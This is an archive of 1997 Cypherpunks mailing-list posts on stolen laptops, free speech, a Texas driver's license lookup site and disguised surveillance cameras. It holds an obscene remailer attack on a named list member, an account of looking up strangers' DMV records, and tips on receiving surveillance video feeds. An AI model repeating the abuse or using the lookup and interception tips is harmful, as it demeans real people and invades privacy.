From: Tom McClanahan <minuteman@fuse.net>
Date: Thu, 12 Jun 1997 06:49:51 +0800
To: cypherpunks@toad.com
Subject: mailing list
Message-ID: <339F2887.1F56@fuse.net>
MIME-Version: 1.0
Content-Type: text/plain



I would like to be on your mailing list.

minuteman@fuse.net

Thank you.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Raymond Mereniuk" <raymond@wcs.net>
Date: Thu, 12 Jun 1997 10:41:02 +0800
To: cypherpunks@algebra.com
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120058.TAA11171@mailhub.amaranth.com>
Message-ID: <199706120120.SAA05683@mat.wcs.net>
MIME-Version: 1.0
Content-Type: text/plain




> How is the buyer responsible even indirectly?
> 
> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
> and buy it. Should it be my respocibility to call NEC over in Japan and
> 
> If anyone is responcible for the theft other than the theif is the person
> who was so carless with their equipment.
> 
Legally Law Enforcement Agencies (LEA) and the courts willl find you 
responsible for being in possession  of stolen property.  If you 
purchased the unit from a storefront or a person selling the unit 
from their home you could deflect responsibility to those parties.  
I would suspect most stolen units are fdisk-ed,  re-formatted, and 
moved a minimum of a state or province and then sold through brokers 
who operate through a pager or cell phone.  The units are sold 
probably more in the range of $600 to $700 CAN Dollars for 486 color 
units and abit  more for Pentium units.  The brokers may offer the 
unit through an auction.

At this point the buyer should start to suspect something is not 
right, the units are too cheap and all the proprietary drivers have 
been removed.  The reason given is that they are being disposed of by 
a large corporation and it is policy to erase all data.  No manuals 
or documentation are offered with the unit.  Normally when you 
purchase an unit from the original retail buyer manuals and 
documentation and extras would be included with the unit and the 
seller would probably be willing to show you the bill of sale.  Would 
you buy a car from a seller offering no documentation or proof of 
ownership.

It is tough to take the argument that stolen notebooks are the fault 
of the victim seriously.  Notebook thieves can be pretty 
enterprising.  They walk into offices dressed as maintainance people, 
buy pass keys from the real maintainance people and go through every 
office.  A friend had a notebook taken from a locked office in a 
supposedly secure area, no signs of break and entry so no insurance 
coverage and there were notebooks and computers taken from three 
locked offices in the middle of the day.  So in this case it was my 
friend's fault for doing business in a shared office environment 
where someone had sold a pass key to the thief??  

If there was no market for stolen notebooks thieves would not steal 
them as there would be no gain.  In my experience most people selling 
merchanise of doubtful origins are not sophisticated, ask lots of 
questions and their stories quickly fall apart.  I have walked away 
from many deals when the origin of the goods were not clearly 
explained and I would suggest you do the same.

Virtually

Raymond Mereniuk
Raymond@wcs.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 12 Jun 1997 12:18:53 +0800
To: tzeruch@ceddec.com
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <v03102800afc5070052fa@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>On Tue, 10 Jun 1997, Steve Schear wrote:
>
>> All prohibition of speech should be based on the judgement of whether or
>> not specific individiuals (not general groups or socienty at large) can be
>> reasonably be deduced to be at immediate risk or be harmed from that speech.
>
>So, if "speech" can cause individuals in X to harm individuals in Y, there
>is reason to prohibit it.

Only if the risk is immediate.

>
>> I find lust to be a noble urge.
>

My ideas originate above my limbic system.

Then you've undoubtedly removed yourself from the gene pool ;-)

[snip]
>The information on how to do demolition is available from the army, and
>the ingredients were commonly available.  As was the truck he used to
>transport it.  We can prevent many fires by an outright ban on gasoline.
>
>What item, if banned, would have prevented the act?

None that wouldn't adversely impact legitimate activities.

>
>> >But I would not want to have someone leave the two components to a binary
>> >nerve gas on a shelf...
>>
>> Now you've transgressed from speech to possession.
>
>I thought libertarians thought any mere possession should not be a crime.

I don't have any problem with sales high-performance autos, or for that
matter possession of substances or machanisms as long as any citizen who
can demonstrate (anonymously) to a regulatory agency that they understand
the use of such items can keep them.

>> >This form of "information" is an addictive drug, with the side effect is
>> >that it destroys others much more than it destroys the abuser,
>>
>> Can you back up this assertion with clinical data?
>
>Not off hand.  I also cannot back up the statement that I will die if I
>drink a particular poison (since I may have a particular immunity) without
>conducting the test.  Can you suggest how we may conduct such a test on
>kiddie porn without threatening children?

No, but I think those who suggest such restrictions should be forced to
personally fund such research.

>
>No, I am an autoarchist not an anarchist.  I belive in self-control which
>is the difference between liberty an license.  If liberty is given to
>barbarians it will be lost for everyone.

Liberty never given its won or taken.

Self-control is too nebulous, for me I prefer responsibility.

>
>I want cryptography available even though it makes child-porn easier to
>hide for the same reason I want gasoline available although it makes arson
>easier to commit.  But I do not have to be pro-arson to be pro-gasoline.
>
>And I can differentiate between ideas (which are protected free speech),
>and things without any such content.

Ideas are not protected speech, since they only exist in the mind, only
expressions are protected.  As I stated earlier, all expressions (however
objectionable they may be to some or many members of society) deserve
protection, unless they immediately threaten (or server to incite others to
threaten) the physical well being of specific individuals or groups.  Porn
and instructions for making conventional or weapons of mass distruction
should not be regulated.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 12 Jun 1997 10:28:36 +0800
To: cypherpunks@toad.com
Subject: [IMPORTANT] e$
Message-ID: <199706120220.TAA03032@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



May Tim C[ocksucker] May's forgeries get stuck up 
his ass so he'll have to shit through his filthy 
mouth for the rest of its miserable life.

        \\\
        {OQ} Tim C[ocksucker] May
         (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 12 Jun 1997 08:51:50 +0800
To: cypherpunks@einstein.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [CNN] Stolen Laptops and lame 'solution' (fwd)
Message-ID: <199706120020.TAA09073@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> From: "Raymond Mereniuk" <raymond@wcs.net>
> Date: Wed, 11 Jun 1997 17:22:48 +0000
> Subject: Re: [CNN] Stolen Laptops and lame 'solution'

> theft.  But, the eventual buyer is indirectly responsible for the 
> initial theft of the notebook.

Bullshit. That is like saying the person being raped is responsible for the
rape. This is plain and simple victim-speak.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 09:04:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
Message-ID: <199706120058.TAA11167@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706112341.QAA05443@mat.wcs.net>, on 06/11/97 
   at 05:22 PM, "Raymond Mereniuk" <raymond@wcs.net> said:

>I assume most notebooks which are recovered are found to be in the  hands
>of a buyer rather than the person responsible for the actual  theft. 
>But, the eventual buyer is indirectly responsible for the  initial theft
>of the notebook.

How is the buyer responsible even indirectly?

Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
and buy it. Should it be my respocibility to call NEC over in Japan and
find out if it was reported stolen (if they even keep such records).
Should I have to call the manufacture every time I buy a some used
equipment? Perhaps I should have a background check done before I buy
anything.

If anyone is responcible for the theft other than the theif is the person
who was so carless with their equipment.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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=XwvD
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Thu, 12 Jun 1997 08:16:12 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: (Fwd) FWD: Texas Driver's License database on the web
In-Reply-To: <199706111929.MAA04945@toad.com>
Message-ID: <3.0.2.32.19970611200353.03296518@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 05:01 PM 6/11/97 -0400, Ryan Anderson wrote:
>The (very very very very very) minor redeeming factor is that you have to
>be someone with knowledge of someone's valid Texas driver's license.  So
>it's not *FULLY* available on the net.  Though, someone will probably leak
>a userid in the next week or so, and then anyone can use it...

I am not in Texas, and I have used the system.  I took email name I suspected 
were in Texas and started looking up voter and DMV info.  Some I couldn't 
find, but I hit several people I have never met.  For some, I did a whois on 
their domain name and used that city to narrow the search.

I understand the site is now password protected, but they offer accounts to 
others who are not in Texas.


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-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 12 Jun 1997 09:45:20 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Can you say anti-trust? [CNN]
Message-ID: <199706120113.UAA09234@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>    CNN logo 
>      
>              MICROSOFT, NETSCAPE JOIN FORCES IN WEB PRIVACY BATTLE
>                                        
>      June 11, 1997
>      Web posted at: 1:56 p.m. EDT (1756 GMT) web graphic
>      
>      WASHINGTON (AP) -- Microsoft Corp. and Netscape Communications
>      Corp., two of the Internet's biggest rivals, Wednesday announced a
>      stunning alliance aimed at more tightly controlling the personal
>      information that businesses collect about World Wide Web users.
>      
>      The teaming of the two software competitors reflected the heightened
>      concern in the business community that government regulators may
>      impose rules to crack down on privacy intrusions by Internet
>      companies.


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 12 Jun 1997 08:29:01 +0800
To: cypherpunks@toad.com
Subject: Re: Thoughtcrime   (Re: My War)
Message-ID: <199706120019.UAA06228@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



tzeruch@ceddec.com wrote:
> On Tue, 10 Jun 1997, Steve Schear wrote:
> > I find lust to be a noble urge.
> 
> Then you probably find rape a noble deed.  I do not.  If you are referring
> to the acts our net.loon often posts to this list, I hope you enjoy
> placing yourself at his level.  My ideas originate above my limbic system.

  You forgot to add, "...and your mother wears army boots!" before
your attempted "guilt by association" slur and the placing of your
esteemed self on an intellectual pedestal.
  I have noticed in the list's dick wars and pissing contests that
those with the shortest dicks put themselves on pedestals in order
to compensate for their physical shortcomings and those with the 
smallest bladders use the largest dictionary in hopes that extra
acidity will compensate for lack of volume.

  It is my contention that those who enjoy "mental masturbation"
also "find lust to be a noble urge."
  Of course, I'm Chinese...I could be Wong.

A thousand monkeys spanking typewriters and purporting to be:
TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 12 Jun 1997 09:56:47 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Unleashing Micro Viruses on Networks (fwd)
Message-ID: <199706120125.UAA09309@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Wed, 11 Jun 1997 13:57:00 -0400
> From: John Young <jya@pipeline.com>
> Subject: Unleashing Micro Viruses on Networks

>      6-11-97, Janes' Defence Weekly:

>      Thumbnail-sized micro-robots, known as `microbots', will
>      also be unleashed by micro-air vehicles and naval guns. These
>      parasites will creep into electronic equipment, attach
>      themselves, and keep themselves alive by draining generator
>      power. 
> 
>      Once the electronics system's energy is depleted, the fully
>      charged microscopic vermin will search for a new victim. 
> 
>      The main problem will be that they are too small to carry
>      identification equipment and so they infect indiscriminately.
>      As such, they must be deployed far away from allied
>      equipment. 
> 
>      However, packages of microbots can be destroyed remotely
>      as allies prepare to invade enemy territory. 

Check out:

Bug Park
James P. Hogan
ISBN 0-671-87773-9
$22.00 hardbound


    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Thu, 12 Jun 1997 11:23:09 +0800
To: cypherpunks@toad.com
Subject: Re: mailing list
In-Reply-To: <339F2887.1F56@fuse.net>
Message-ID: <339F56B1.75C9@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Tom McClanahan wrote:
> 
> I would like to be on your mailing list.
> 
> minuteman@fuse.net
> 
> Thank you.
IMHO, anyone dumb enough to send this shit shouldn't *be* on a mailing
list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 12 Jun 1997 10:39:50 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re:Texas Driver's License database on the web (fwd)
Message-ID: <199706120208.VAA09509@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Wed, 11 Jun 1997 22:17:24 -0400
> Subject: Re:Texas Driver's License database on the web
> From: lucifer@dhp.com (lucifer Anonymous Remailer)

>   It amazes me that in an age when government and corporations have
> access to untold mountains of information about all of us, that we
> seem to get upset when Joe Average is given access to that same
> information.

I at least have a contractual relationship with both of them that provides
me at least some promise of fair arbitration. Something I don't have with
Joe Average implicitly.

>   The Machine feeds off of us by taking away our rights of self
> expression and self defence and then convincing us that the
> Machine is our benefactor and protector while our fellow humans
> are a threat to us and should be feared.

The Machine takes the rights we give up willingly for a long-term loan on a
40" television and another $10k a year.

>   Thus we end up fearing people with different religious views
> instead of the Machine that launches a murderous assault on the
> men, women and children who are a threat to our mainstream views.

Not just religious views, but skin color, sex, etc. This is a function of
all social animals (in fact the society wouldn't work if it wasn't) and in
particular primates. To draw the conclusion that this somehow flows from our
contractual agreements based on impatience and greed is illogical.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Thu, 12 Jun 1997 09:22:32 +0800
To: reusch@pluto.njcc.com
Subject: Re: IRS T-Pole Surveillance
In-Reply-To: <3.0.1.32.19970611142023.006ad890@mail.njcc.com>
Message-ID: <199706120113.VAA02927@pig.die.com>
MIME-Version: 1.0
Content-Type: text



Michael  F. Reusch wrote :

> 
> >The Internal Revenue Service requires enclosed surveillance systems 
> >configured as transformers for mounting on telephone poles....
> 
	This and cameras disguised as Cable TV amplifiers are very
common means of diguising federal video surveillance gear.  Most
people don't know enough about what is on the wires and poles near
them to tell the difference, which is often subtle but obvious to
someone technically trained - things like pole pig transformers
that have no HV connection to the distribution wires...  or cable
line amplifiers not actually connected to a cable trunk line or
of a different type than the rest of the system.   Closer examination
will often disclose a little window with a lens behind it, which
of course is uncommon on regular pole pigs...

	Most of this gear transmits FM NTSC video signals in various
standard microwave bands (1.7 ghz 2.2 ghz 2.4, 5.3 ghz etc) used for much
federal bugging.   No attempt is usually made to scramble the 
signal, so if you have the right microwave receivers (some European
satellite receivers cover this band for example), you too can watch
some mafia don go into and out of his house....  TV stations have
occasionally  discovered these signals on their remote pickup
antennas for live newsfeeds from remote trucks - many of these operate
nearby in frequency from tall buildings or TV towers with huge line
of sight coverage and bored techs sometimes tune up and down the
band to see what they find ....

	I have actually seen one of the fake Cable TV amplifier
bugs for sale at the Dayton Ham flea market.  I didn't buy it,
but it was an interesting curio.

							Dave Emery
							Weston, Mass.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 12 Jun 1997 10:53:20 +0800
To: "Raymond Mereniuk" <raymond@wcs.net>
Subject: Re: [CNN] Stolen Laptops and lame 'solution'
In-Reply-To: <199706120120.SAA05683@mat.wcs.net>
Message-ID: <199706120233.VAA12526@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706120120.SAA05683@mat.wcs.net>, on 06/11/97 
   at 07:02 PM, "Raymond Mereniuk" <raymond@wcs.net> said:

>> How is the buyer responsible even indirectly?
>> 
>> Someone puts an add in the paper NEC Laptop $1,500. I go and check it out
>> and buy it. Should it be my respocibility to call NEC over in Japan and
>> 
>> If anyone is responcible for the theft other than the theif is the person
>> who was so carless with their equipment.
>> 
>Legally Law Enforcement Agencies (LEA) and the courts willl find you 
>responsible for being in possession  of stolen property.  If you 
>purchased the unit from a storefront or a person selling the unit  from
>their home you could deflect responsibility to those parties.   I would
>suspect most stolen units are fdisk-ed,  re-formatted, and  moved a
>minimum of a state or province and then sold through brokers  who operate
>through a pager or cell phone.  The units are sold  probably more in the
>range of $600 to $700 CAN Dollars for 486 color  units and abit  more for
>Pentium units.  The brokers may offer the  unit through an auction.

They will be sold at whatever the market will bear for used equipment
regardless of how the equipment was obtained. Usally the person who steals
the equipment will not be the one selling it to the general public so any
discounts because the item is "hot" are usally gone before it get's to joe
sixpack.

>At this point the buyer should start to suspect something is not  right,
>the units are too cheap and all the proprietary drivers have  been
>removed.  The reason given is that they are being disposed of by  a large
>corporation and it is policy to erase all data.  No manuals  or
>documentation are offered with the unit.  Normally when you  purchase an
>unit from the original retail buyer manuals and  documentation and extras
>would be included with the unit and the  seller would probably be willing
>to show you the bill of sale.  Would  you buy a car from a seller
>offering no documentation or proof of  ownership.

There is no comparison between the two. For better or worse there are
state madated ownership papers for autos. I can see that you have not
spent much time in the used electronics market. Equipment may change hands
multiple time over a period of years before it finaly reaches your hands.
It is common for the seller not to have any documentation or recipts for
the equipment. To use your comparison you wouldn't expect the owners
manual & receipt from the dealship when you went to buy a '65 F100 would
you?

>It is tough to take the argument that stolen notebooks are the fault  of
>the victim seriously.  Notebook thieves can be pretty 
>enterprising.  They walk into offices dressed as maintainance people, 
>buy pass keys from the real maintainance people and go through every 
>office.  A friend had a notebook taken from a locked office in a 
>supposedly secure area, no signs of break and entry so no insurance 
>coverage and there were notebooks and computers taken from three  locked
>offices in the middle of the day.  So in this case it was my  friend's
>fault for doing business in a shared office environment  where someone
>had sold a pass key to the thief??

No it was his fault for leaving the security of his property to someone
else who obviously has some rather poor security policies. I have wore out
more than 1 credit cards getting into locked offices because the key was
not available. The you have those that think a locked door is secure when
there is a 3' drop ceiling that anyone can use to climb over the door
with. If that had been $5,000 cash rather than that laptop I bet your
friend would have thought twice of leaving it in that room. 

>If there was no market for stolen notebooks thieves would not steal  them
>as there would be no gain.  In my experience most people selling 
>merchanise of doubtful origins are not sophisticated, ask lots of 
>questions and their stories quickly fall apart.  I have walked away  from
>many deals when the origin of the goods were not clearly  explained and I
>would suggest you do the same.

Bah this is just bull. The purchaser of used equipment is not looking for
stolen equipment. The market is for inexpensive used equipment which
theifs take advantage of. This is an important difference to make. The
amount of stolen equipment in the used equipment market is quite small.
The end buyer should not be held responcible for the illegal activities of
the seller.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 12 Jun 1997 12:44:31 +0800
To: cypherpunks@Algebra.COM
Subject: Photo ID is not needed for key signings....
In-Reply-To: <199706112323.QAA12560@peregrine.eng.sun.com>
Message-ID: <v03102802afc52bfb5491@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



["cypherpunks-announce@toad.com" deleted as that is really not a list for
discussions.]


At 4:23 PM -0700 6/11/97, Ed Falk wrote:

>Hi all; I haven't seen the agenda yet, but if there is time & interest,
>I would be willing to organize a PGP key-signing party.
>
>Signify interest by mailing your key -- or a pointer to it -- to me
>by Friday.  Come to the c'punks meeting with photo ID and your PGP
>fingerprint.

"Sigh." Why do people persist in thinking that a photo ID is useful for PGP
keysignings?

I view a keysigning as saying that the person I know as "Lucky Green" is
asking me to sign the key he presents as his key, not whether Missouri
issued him a driver's license in that name, nor whether the company he
worked for in Munich issued him a photo ID under than name.

This is what the "web of trust" is all about.  It is _not_ about True Names
as proved by photo IDs.

(However, for those lacking photo IDs sufficient for Ed's purposes, I'm
asking Eric Hughes (not his True Name) if I can borrow his badge laminator.
I'll set it up outside the keysigning room. Bring a photo of some sort and
I'll make you a Yoyodyne Corporation employee badge.)

--Tim May (not his True Name)

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Thu, 12 Jun 1997 09:55:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <199706120019.UAA06228@dhp.com>
Message-ID: <97Jun11.214843edt.32257-1@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 11 Jun 1997, lucifer Anonymous Remailer wrote:

> tzeruch@ceddec.com wrote:
> > On Tue, 10 Jun 1997, Steve Schear wrote:
> > > I find lust to be a noble urge.
> > 
> > Then you probably find rape a noble deed.  I do not.  If you are referring
> > to the acts our net.loon often posts to this list, I hope you enjoy
> > placing yourself at his level.  My ideas originate above my limbic system.
> 
>   You forgot to add, "...and your mother wears army boots!" before
> your attempted "guilt by association" slur and the placing of your
> esteemed self on an intellectual pedestal.

Don't confuse Lust with Eros.

Lust is the desire for gratification at any cost, including one's own life
(in today's era of AIDS and yesterday's era of Syphillus, which is why it
is listed among the deadly sins).  Lust uses the other person for one's
own pleasure, and if the other is not willing doesn't care.

Eros, which is probably rare today, is the intimate and mutual exchange of
pleasure - the "other" is giving and receiving.  This is what has been
considered the noble form of sex, at least before today's revisionism.

But maybe everyone else on this list considers Lust "noble" and I am
merely old fashioned in believing in intimacy and self-giving and
self-control.  Does everyone believe that it is more noble to take what
you want at this moment than to give of yourself?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 12 Jun 1997 13:19:27 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102800afc399044c85@[10.0.2.15]>
Message-ID: <19970611221203.50854@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, Jun 11, 1997 at 07:18:52PM -0700, Steve Schear wrote:
> Ideas are not protected speech, since they only exist in the mind, only
> expressions are protected.

Actually, expression is heavily encumbered with state mechanism, since
it is expression that is "protected" by copyright.  Ideas are also
encumbered by the state, through patent law.  The whole notion of
expression and ideas as property is purely sustained by the state.  

> As I stated earlier, all expressions (however
> objectionable they may be to some or many members of society) deserve
> protection, unless they immediately threaten (or server to incite others to
> threaten) the physical well being of specific individuals or groups.  Porn
> and instructions for making conventional or weapons of mass distruction
> should not be regulated.

It seems to me that your penultimate sentence contradicts your last 
sentence. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 12 Jun 1997 10:26:44 +0800
To: cypherpunks@toad.com
Subject: Re:Texas Driver's License database on the web
Message-ID: <199706120217.WAA11471@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Marshall Clow wrote: 
> >On Wed, 11 Jun 1997, Peter Trei wrote:
> >
> >>    Did Psychos-R-Us request this site?  "Could you create a database so I
> >> don't miss anyone when I go on a killing spree on the 900 block of
> >> Rosewood?"
 
> When my libertairan streak is in full flood, I think that since
> this information was collected by government employees and
> paid for by tax dollars, that it should be availiable to anyone
> who wants it, for (minimal or) no cost.
> 
> Of course, the better solution is to not collect the information
> at all. (Not selling it just means that people can buy it on the
> black market, or in the case of TRW, etc; buy legislatures)

  It amazes me that in an age when government and corporations have
access to untold mountains of information about all of us, that we
seem to get upset when Joe Average is given access to that same
information.
  The end result of this is that those with the most authority
(access to information) are able to exert power and control over
those with less access to the same information.

  Dateline NBC just did a show about a Health Insurance company
whose refused to tell a potential client that the blood test they
did on him was positive for HIV (even though they shared this
information with other insurance companies).
  I will wager that if a few dozen Joe and Jane Average citizens
knew of this and knew they could contact the man through the
Texas DPS database that one of them would have had the decency
to call the man and inform him of the life-threatening disease.

  The Machine feeds off of us by taking away our rights of self
expression and self defence and then convincing us that the
Machine is our benefactor and protector while our fellow humans
are a threat to us and should be feared.
  Thus we end up fearing people with different religious views
instead of the Machine that launches a murderous assault on the
men, women and children who are a threat to our mainstream views.
We end up fearing the janitor at the insurance company who may
well do volunteer work for good causes instead of fearing the
Machine that lets us die and infect our family members while
sharing our private information with other parts of the Machine.

  Yes, you may get attacked by some wacko who targets you and
finds your address from a database. Or, you may get attacked by
some wacko who targets someone else but can't find their address
from a database so they pick you as a random target.
  The Information Age is upon us, for better or worse. If all parts
of the Machine are going to know all my personal data, then I also
want for myself and Joe and Jane Average to have access to the same
data. If the BATF wants to look me up at home through use of a 
database, then I want Timothy McAverage to be able to look all of
them up through the same database.

  The Machine will make certain that every instance of some wacko
using accessed information to abuse someone gets front-page press.
No doubt the weak of wit will cry out for the Machine to protect
us from abuse of access to information. This makes as much sense
as asking to be protected from education and knowledge because
of the potential for abuse.
  We have citizens who decry the fact that information on explosives
should be freely available so they demand that the Machine which
produces nuclear weapons censor that information. God forbid that
someone would make a pipe bomb that wipes out a nuclear weapons
factory.

  Instead of "Give me freedom or give me death." we now have a
nation which cries out for security even if it means imprisonment.
In our desire for ultimately unattainable levels of safety and
security we allow (and even beg for) the Machine to imprison our
bodies, our minds and our spirit.
  Instead of putting child pornographers in prison we will put
cryptographers and remailer operators in prison. Instead of 
confiscating the assets of drug czars will confiscate the assets
of people who have a kid who smokes a joint once a week. Instead
of censoring legislation which limits our freedom and privacy
we will censor literature which proposes democratic assassination
of those who oppress us.

  Personal data privacy is history, for the most part. The focus
of those who wish to retain privacy in certain areas of their life
and their communication should be on technologies which will allow
them to *personally* keep those things private.
  To continue to leave public information only in the hands of the
corporate and government Machine is to continue to empower the
Machine and weaken the power of the citizen.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 12 Jun 1997 13:36:04 +0800
To: minuteman@fuse.net
Subject: Re: mailing list
In-Reply-To: <339F2887.1F56@fuse.net>
Message-ID: <3.0.2.32.19970611221920.040ea5a0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:36 PM 6/11/97 -0400, Tom McClanahan wrote:
>
>I would like to be on your mailing list.

Which list would that be?

There is the list I run dealing with Perl. (Incredibly technical and high
volume.)

There is the local Portland version of the Cypherpunks list.  (mostly dead.)

There is the list for disgruntled ex-employees of a company I used top work
for.  (Completely dead.)

There is the list for the board of directors and co-conspiritors of a not
for profit corporation.  (Maybe should be dead.)

Or maybe you meant THIS list...

Find a book on mailing lists and look up information of "subscribing".  (It
is next to the information on "circumcision".)

>minuteman@fuse.net

Oh... So you are on a short fuse...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
